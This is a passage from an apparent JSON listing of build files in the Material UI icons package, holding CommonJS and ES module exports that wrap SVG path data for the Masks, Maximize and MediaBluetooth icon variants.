    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9M7 11.5V9.85c1.12-.23 1.95-.69 2.66-1.08C10.48 8.33 11.07 8 12 8s1.52.33 2.34.78c.71.39 1.54.84 2.66 1.08v1.65c0 2.76-2.24 5-5 5s-5-2.25-5-5.01M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'MasksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m10.8 2.01c-.4-.17-.72-.36-1.01-.53-.46-.28-.8-.48-1.29-.48s-.84.2-1.31.48c-.28.17-.6.35-.98.51-.34.15-.71-.08-.71-.45 0-.2.11-.38.29-.45.34-.14.62-.31.88-.46C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.27.16.55.33.9.48.18.08.29.26.29.45.01.36-.36.6-.69.46M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'MasksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m10.8 2.01c-.4-.17-.72-.36-1.01-.53-.46-.28-.8-.48-1.29-.48s-.84.2-1.31.48c-.28.17-.6.35-.98.51-.34.15-.71-.08-.71-.45 0-.2.11-.38.29-.45.34-.14.62-.31.88-.46C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.27.16.55.33.9.48.18.08.29.26.29.45.01.36-.36.6-.69.46M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'MasksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m17 0c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'MasksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9m17 0c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}), 'MasksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.34 8.78C13.52 8.33 12.93 8 12 8s-1.52.33-2.34.77c-.71.39-1.54.85-2.66 1.08v1.65c0 2.76 2.24 5 5 5s5-2.24 5-5V9.85c-1.12-.23-1.95-.69-2.66-1.07m.66 2.47c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9M7 11.5V9.85c1.12-.23 1.95-.69 2.66-1.08C10.48 8.33 11.07 8 12 8s1.52.33 2.34.78c.71.39 1.54.84 2.66 1.08v1.65c0 2.76-2.24 5-5 5s-5-2.25-5-5.01M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}, \"1\")], 'MasksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MasksTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.34 8.78C13.52 8.33 12.93 8 12 8s-1.52.33-2.34.77c-.71.39-1.54.85-2.66 1.08v1.65c0 2.76 2.24 5 5 5s5-2.24 5-5V9.85c-1.12-.23-1.95-.69-2.66-1.07m.66 2.47c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 6c-1.31 0-2.37 1.01-2.48 2.3-1.88-.5-2.84-1.8-5.02-1.8-2.19 0-3.14 1.3-5.02 1.8C6.87 7.02 5.81 6 4.5 6 3.12 6 2 7.12 2 8.5V9c0 6 3.6 7.81 6.52 7.98C9.53 17.62 10.72 18 12 18s2.47-.38 3.48-1.02C18.4 16.81 22 15 22 9v-.5C22 7.12 20.88 6 19.5 6m-16 3v-.5c0-.55.45-1 1-1s1 .45 1 1v3c0 1.28.38 2.47 1.01 3.48C4.99 14.27 3.5 12.65 3.5 9M7 11.5V9.85c1.12-.23 1.95-.69 2.66-1.08C10.48 8.33 11.07 8 12 8s1.52.33 2.34.78c.71.39 1.54.84 2.66 1.08v1.65c0 2.76-2.24 5-5 5s-5-2.25-5-5.01M20.5 9c0 3.65-1.49 5.27-3.01 5.98.64-1.01 1.01-2.2 1.01-3.48v-3c0-.55.45-1 1-1s1 .45 1 1zm-9.81 1.48c-.44.26-.96.56-1.69.76V10.2c.48-.17.84-.38 1.18-.58C10.72 9.3 11.23 9 12 9s1.27.3 1.8.62c.34.2.71.42 1.2.59v1.04c-.75-.21-1.26-.51-1.71-.78-.46-.27-.8-.47-1.29-.47s-.84.2-1.31.48\"\n}, \"1\")], 'MasksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Maximize.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'Maximize');"
  },
  {
    "path": "packages/mui-icons-material/lib/Maximize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'Maximize');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'MaximizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h16c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'MaximizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MaximizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h18v2H3z\"\n}), 'MaximizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm2.02 7.64-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81z\"\n}), 'MediaBluetoothOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm2.02 7.64-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81z\"\n}), 'MediaBluetoothOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm2.02 7.64-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81z\"\n}), 'MediaBluetoothOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm2.02 7.64-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81z\"\n}), 'MediaBluetoothOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V5c0-1.1.9-2 2-2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v1.17zM19.42 15l2.18 2.17c.22.22.22.58 0 .8s-.58.22-.8 0l-5.98-5.98c-.22-.22-.22-.58 0-.8s.58-.22.8 0l2.35 2.35V9.61c0-.45.54-.67.85-.35l2.82 2.82c.2.2.2.51 0 .71zm-.25-1.45 1.13-1.13-1.13-1.13zm1.32 6.94c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-3.28-3.28-.16.16c-.23.23-.62.23-.85 0s-.23-.62 0-.85l.16-.16L11 13.83v3.02c0 2.07-1.68 4.01-3.74 4.14C4.94 21.13 3 19.29 3 17c0-2.21 1.79-4 4.01-4 .73 0 1.41.21 2 .55v-1.72L2.1 4.92a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0z\"\n}), 'MediaBluetoothOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V5c0-1.1.9-2 2-2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v1.17zM19.42 15l2.18 2.17c.22.22.22.58 0 .8s-.58.22-.8 0l-5.98-5.98c-.22-.22-.22-.58 0-.8s.58-.22.8 0l2.35 2.35V9.61c0-.45.54-.67.85-.35l2.82 2.82c.2.2.2.51 0 .71zm-.25-1.45 1.13-1.13-1.13-1.13zm1.32 6.94c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-3.28-3.28-.16.16c-.23.23-.62.23-.85 0s-.23-.62 0-.85l.16-.16L11 13.83v3.02c0 2.07-1.68 4.01-3.74 4.14C4.94 21.13 3 19.29 3 17c0-2.21 1.79-4 4.01-4 .73 0 1.41.21 2 .55v-1.72L2.1 4.92a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0z\"\n}), 'MediaBluetoothOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm-1.96 3.66 3.98 3.98-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81l13.56 13.56z\"\n}), 'MediaBluetoothOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm-1.96 3.66 3.98 3.98-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81l13.56 13.56z\"\n}), 'MediaBluetoothOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm-1.96 3.66 3.98 3.98-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81l13.56 13.56z\"\n}), 'MediaBluetoothOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v4h-4v1.17zM19.42 15 22 17.57l-.8.8-6.78-6.78.8-.8 2.75 2.75V9h.6L22 12.43zm-.25-1.45 1.13-1.13-1.13-1.13zm-1.96 3.66 3.98 3.98-1.41 1.41-3.98-3.98-.58.58-.85-.85.58-.58L11 13.83V17c0 2.21-1.78 4-3.99 4S3 19.21 3 17s1.79-4 4.01-4c.73 0 1.41.21 2 .55v-1.72L1.39 4.22 2.8 2.81l13.56 13.56z\"\n}), 'MediaBluetoothOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnOutlined.js",
